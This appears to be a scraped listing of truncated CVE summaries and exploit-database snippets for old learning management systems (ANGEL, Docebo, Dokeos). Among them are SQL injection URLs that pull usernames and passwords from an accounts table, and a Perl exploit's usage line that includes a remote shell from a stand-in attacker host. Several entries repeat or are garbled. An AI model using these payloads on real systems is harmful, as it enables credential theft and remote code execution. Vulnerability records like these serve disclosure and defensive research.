CVE-2007-1250

SQL injection vulnerability in section/default.asp in ANGEL Learning Management Suite LMS 7.1 allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2007-1250

CVE-2007-1250 describes a SQL injection vulnerability in ANGEL Learning Management Suite (LMS) 7.1. The flaw affects the code path handling the id parameter in section/default.asp, enabling remote attackers to execute arbitrary SQL commands. The available documents do not specify affected version...

Angel LMS 7.1 - Remote SQL Injection

Angel LMS 7.1 Remote SQL Injection by Guns All User Accounts http://Angel Root Directory/section/default.asp?id='20union20select20top20120username20from20accounts--" Account Passwords http://Angel Root Directory/section/default.asp?id='20union20select20top20120password20from20accounts--"...

CVE-2006-6963

Multiple PHP remote file inclusion vulnerabilities in Docebo LMS 3.0.3 allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALSwherelms parameter to 1 class.module/class.definition.php and 2 modules/scorm/scormutils.php. NOTE: this issue may overlap CVE-2006-2577...

CVE-2006-6963

Multiple PHP remote file inclusion vulnerabilities in Docebo LMS 3.0.3 allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALSwherelms parameter to 1 class.module/class.definition.php and 2 modules/scorm/scormutils.php. NOTE: this issue may overlap CVE-2006-2577...

CVE-2006-6963

CVE-2006-6963 affects Docebo LMS 3.0.3 and involves PHP remote file inclusions via the GLOBALS[where_lms] parameter in (1) class.module/class.definition.php and (2) modules/scorm/scorm_utils.php. Root cause is exploitation of PHP globals handling (register_globals context) enabling arbitrary PHP ...

CVE-2006-6857

Cross-site scripting XSS vulnerability in modules/credits/credits.php in Docebo LMS allows remote attackers to inject arbitrary web script or HTML via the lang parameter...

CVE-2006-6857

CVE-2006-6857 is a documented cross-site scripting (XSS) vulnerability affecting Docebo LMS, specifically in the file modules/credits/credits.php . The issue allows remote attackers to inject arbitrary web script or HTML by supplying a crafted lang parameter. Per the public data, the vulnerabilit...

CVE-2006-6857

Cross-site scripting XSS vulnerability in modules/credits/credits.php in Docebo LMS allows remote attackers to inject arbitrary web script or HTML via the lang parameter...

Docebo Lms 3.0.3, Remote command execution

----------------------------------------------------- Advisory id: FSA:010 Author: Federico Fazzi Date: 09/06/2006, 7:24 Sinthesis: Docebo Lms 3.0.3, Remote command execution Type: high Product: http://www.docebolms.org/ Patch: unavailable ----------------------------------------------------- 1...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in Docebo LMS 2.05 allow remote attackers to execute arbitrary PHP code via a URL in the lang parameter to 1 modules/credits/business.php, 2 modules/credits/credits.php, or 3 modules/credits/help.php...

CVE-2006-2668

Multiple PHP remote file inclusion vulnerabilities in Docebo LMS 2.05 allow remote attackers to execute arbitrary PHP code via a URL in the lang parameter to 1 modules/credits/business.php, 2 modules/credits/credits.php, or 3 modules/credits/help.php...

CVE-2006-2668

CVE-2006-2668 concerns Docebo LMS 2.05. The vulnerability is a remote file inclusion allowing an attacker to craft a URL for the lang parameter in one of three modules (modules/credits/business.php, modules/credits/credits.php, or modules/credits/help.php) to execute arbitrary PHP code. The affec...

CVE-2006-2668

Multiple PHP remote file inclusion vulnerabilities in Docebo LMS 2.05 allow remote attackers to execute arbitrary PHP code via a URL in the lang parameter to 1 modules/credits/business.php, 2 modules/credits/credits.php, or 3 modules/credits/help.php...

Docebo LMS 2.05 Remote File Include

Vulnerable Script: Docebo LMS 2.05 Discovered: beford xbefordx gmail com Noobs: 22Based+on+DoceboLMS+2.022 Vulnerable Files doceboLMS205/modules/credits/business.php = include$GET'lang'.'/language.php'; doceboLMS205/modules/credits/credits.php = include$GET'lang'.'/language.php';...

DoceboLMS <= 2.0.5 (help.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =============================================================== DoceboLMS Noobs: %22Based+on+DoceboLMS+2.0%22 Vulnerable Files doceboLMS205/modules/credits/business.php = include$GET'lang'.'/language.php';...

DoceboLms 2.0.5 - help.php Remote File Inclusion

DoceboLms 2.0.5 - help.php Remote File Inclusion Vulnerable Script: Docebo LMS 2.05 Discovered: beford Noobs: %22Based+on+DoceboLMS+2.0%22 Vulnerable Files doceboLMS205/modules/credits/business.php = include$GET'lang'.'/language.php'; doceboLMS205/modules/credits/credits.php =...

Dokeos Lms 1.6.4 - authldap.php Remote File Inclusion

Dokeos Lms 1.6.4 - authldap.php Remote File Inclusion !/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor:...

Dokeos Lms 1.6.4 - 'authldap.php' Remote File Inclusion

!/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.dokeos.com/ The file...

Dokeos LMS <= 1.6.4 (authldap.php) Remote File Include Exploit

Exploit for unknown platform in category web applications ============================================================== Dokeos LMS uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.dokeos.com/ T...